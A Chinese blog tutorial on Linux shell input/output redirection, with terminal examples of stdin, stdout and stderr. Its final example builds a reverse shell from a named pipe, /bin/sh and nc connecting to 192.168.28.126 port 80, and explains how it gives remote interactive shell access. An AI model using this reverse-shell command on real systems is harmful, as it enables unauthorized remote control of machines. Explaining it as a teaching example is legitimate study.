linux shell 之 输入输出重定向

本贴最后更新于 3898 天前,其中的信息可能已经时过境迁

1,标准输出,及错误输出 

标注输出:指令执行所回传的正确信息 标准错误输出:指令执行失败所传回来的信息

 标准输入  (stdin) :代码 0 ,使用 < 或 << ;
 标准输出  (stdout):代码 1 ,使用 > 或 >> ;
 标准错误输出 (stderr):代码 2 ,使用 2> 或 2>> ;

看着很简单明白吧,:-),来看看示例吧

1,标准错误出书

[root@c2y2 /]# cat /test 2>1.txt
[root@c2y2 /]# cat 1.txt 
cat: /test: No such file or directory
[root@c2y2 /]# 
2,标准输出
[root@c2y2 /]# ls -al 1>ls.txt
[root@c2y2 /]# cat ls.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

3,标准输入

[root@c2y2 /]# cat > lstest.txt 0< ls.txt
[root@c2y2 /]# cat lstest.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
-rw-r--r--.   1 root root 15438448 Feb 25  2013 initramfs-2.6.32-220.el6.i686.img
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

4,综合标准输入输出合起来,通过nc及管道建立反弹

服务器端:/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
客户端:nc -lvp 80
:-),这样我们就可以在本地客户端实现shell交互了
命令分解:
服务器端两部曲:
首先创建管道
 mknod /tmp/testpipe p
然后就综合了:
/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe

工作原理:首先将管道 testpipe 内容作为标准输入为 bash 执行,并将结果通过‘|’输入到远端 192.168.28.126,而远端的输入又将重定向输入本地管道 testpipe,而 testpipe 又将作为标注输入到 bash 执行,:-),就这么一个循环,一个交互 shell 就这样 ok 了

管道:

    1,管道命令仅能处理标准的输入输出

    2,管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行

    3,建立管道的方式:mknod xxx p 或者mkfifo xxx

  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    944 引用 • 943 回帖
  • Shell

    Shell 脚本与 Windows/Dos 下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的。但是它比 Windows 下的批处理更强大,比用其他编程程序编辑的程序效率更高,因为它使用了 Linux/Unix 下的命令。

    123 引用 • 74 回帖 • 1 关注
  • >
    1 引用 • 3 回帖
  • >>
    1 引用 • 3 回帖
  • <
    1 引用 • 3 回帖
  • <<
    1 引用 • 3 回帖
  • 输入
    4 引用 • 32 回帖
  • 输出
    2 引用 • 8 回帖
  • 重定向
    1 引用 • 3 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • c2y2
    作者

    @88250 加入了 key 的之后,所有的文章都被同步过来了撒,没选同步也同步了,这个有个开关没得呢。功能很不错哦,但是应该加个开关,不然写了见不得人的也进来了

  • 其他回帖
  • 88250

    最后交互的这个例子不错,赞 :-p

  • 88250

    @c2y2 有开关的,发布文章的时候可以选择是否同步。

c2y2
用户简介最大长度 255

推荐标签 标签

  • 导航

    各种网址链接、内容导航。

    40 引用 • 173 回帖 • 1 关注
  • CloudFoundry

    Cloud Foundry 是 VMware 推出的业界第一个开源 PaaS 云平台,它支持多种框架、语言、运行时环境、云平台及应用服务,使开发人员能够在几秒钟内进行应用程序的部署和扩展,无需担心任何基础架构的问题。

    5 引用 • 18 回帖 • 169 关注
  • 区块链

    区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式。所谓共识机制是区块链系统中实现不同节点之间建立信任、获取权益的数学算法 。

    91 引用 • 751 回帖 • 4 关注
  • API

    应用程序编程接口(Application Programming Interface)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。

    77 引用 • 430 回帖
  • Redis

    Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。从 2010 年 3 月 15 日起,Redis 的开发工作由 VMware 主持。从 2013 年 5 月开始,Redis 的开发由 Pivotal 赞助。

    286 引用 • 248 回帖 • 61 关注
  • 数据库

    据说 99% 的性能瓶颈都在数据库。

    342 引用 • 708 回帖
  • 服务

    提供一个服务绝不仅仅是简单的把硬件和软件累加在一起,它包括了服务的可靠性、服务的标准化、以及对服务的监控、维护、技术支持等。

    41 引用 • 24 回帖 • 2 关注
  • App

    App(应用程序,Application 的缩写)一般指手机软件。

    91 引用 • 384 回帖
  • 互联网

    互联网(Internet),又称网际网络,或音译因特网、英特网。互联网始于 1969 年美国的阿帕网,是网络与网络之间所串连成的庞大网络,这些网络以一组通用的协议相连,形成逻辑上的单一巨大国际网络。

    98 引用 • 344 回帖 • 1 关注
  • Vditor

    Vditor 是一款浏览器端的 Markdown 编辑器,支持所见即所得、即时渲染(类似 Typora)和分屏预览模式。它使用 TypeScript 实现,支持原生 JavaScript、Vue、React 和 Angular。

    352 引用 • 1815 回帖 • 3 关注
  • Pipe

    Pipe 是一款小而美的开源博客平台。Pipe 有着非常活跃的社区,可将文章作为帖子推送到社区,来自社区的回帖将作为博客评论进行联动(具体细节请浏览 B3log 构思 - 分布式社区网络)。

    这是一种全新的网络社区体验,让热爱记录和分享的你不再感到孤单!

    132 引用 • 1114 回帖 • 125 关注
  • Gitea

    Gitea 是一个开源社区驱动的轻量级代码托管解决方案,后端采用 Go 编写,采用 MIT 许可证。

    4 引用 • 16 回帖 • 4 关注
  • 黑曜石

    黑曜石是一款强大的知识库工具,支持本地 Markdown 文件编辑,支持双向链接和关系图。

    A second brain, for you, forever.

    15 引用 • 122 回帖
  • 酷鸟浏览器

    安全 · 稳定 · 快速
    为跨境从业人员提供专业的跨境浏览器

    3 引用 • 59 回帖 • 26 关注
  • LeetCode

    LeetCode(力扣)是一个全球极客挚爱的高质量技术成长平台,想要学习和提升专业能力从这里开始,充足技术干货等你来啃,轻松拿下 Dream Offer!

    209 引用 • 72 回帖 • 1 关注
  • 电影

    这是一个不能说的秘密。

    121 引用 • 601 回帖
  • jsoup

    jsoup 是一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API,可通过 DOM,CSS 以及类似于 jQuery 的操作方法来取出和操作数据。

    6 引用 • 1 回帖 • 476 关注
  • GAE

    Google App Engine(GAE)是 Google 管理的数据中心中用于 WEB 应用程序的开发和托管的平台。2008 年 4 月 发布第一个测试版本。目前支持 Python、Java 和 Go 开发部署。全球已有数十万的开发者在其上开发了众多的应用。

    14 引用 • 42 回帖 • 764 关注
  • Sphinx

    Sphinx 是一个基于 SQL 的全文检索引擎,可以结合 MySQL、PostgreSQL 做全文搜索,它可以提供比数据库本身更专业的搜索功能,使得应用程序更容易实现专业化的全文检索。

    1 引用 • 214 关注
  • jsDelivr

    jsDelivr 是一个开源的 CDN 服务,可为 npm 包、GitHub 仓库提供免费、快速并且可靠的全球 CDN 加速服务。

    5 引用 • 31 回帖 • 59 关注
  • MySQL

    MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是最流行的关系型数据库管理系统之一。

    691 引用 • 535 回帖
  • WebClipper

    Web Clipper 是一款浏览器剪藏扩展,它可以帮助你把网页内容剪藏到本地。

    3 引用 • 9 回帖 • 1 关注
  • Flume

    Flume 是一套分布式的、可靠的,可用于有效地收集、聚合和搬运大量日志数据的服务架构。

    9 引用 • 6 回帖 • 632 关注
  • 支付宝

    支付宝是全球领先的独立第三方支付平台,致力于为广大用户提供安全快速的电子支付/网上支付/安全支付/手机支付体验,及转账收款/水电煤缴费/信用卡还款/AA 收款等生活服务应用。

    29 引用 • 347 回帖 • 1 关注
  • Spark

    Spark 是 UC Berkeley AMP lab 所开源的类 Hadoop MapReduce 的通用并行框架。Spark 拥有 Hadoop MapReduce 所具有的优点;但不同于 MapReduce 的是 Job 中间输出结果可以保存在内存中,从而不再需要读写 HDFS,因此 Spark 能更好地适用于数据挖掘与机器学习等需要迭代的 MapReduce 的算法。

    74 引用 • 46 回帖 • 553 关注
  • Solidity

    Solidity 是一种智能合约高级语言,运行在 [以太坊] 虚拟机(EVM)之上。它的语法接近于 JavaScript,是一种面向对象的语言。

    3 引用 • 18 回帖 • 399 关注
  • BookxNote

    BookxNote 是一款全新的电子书学习工具,助力您的学习与思考,让您的大脑更高效的记忆。

    笔记整理交给我,一心只读圣贤书。

    1 引用 • 1 回帖 • 1 关注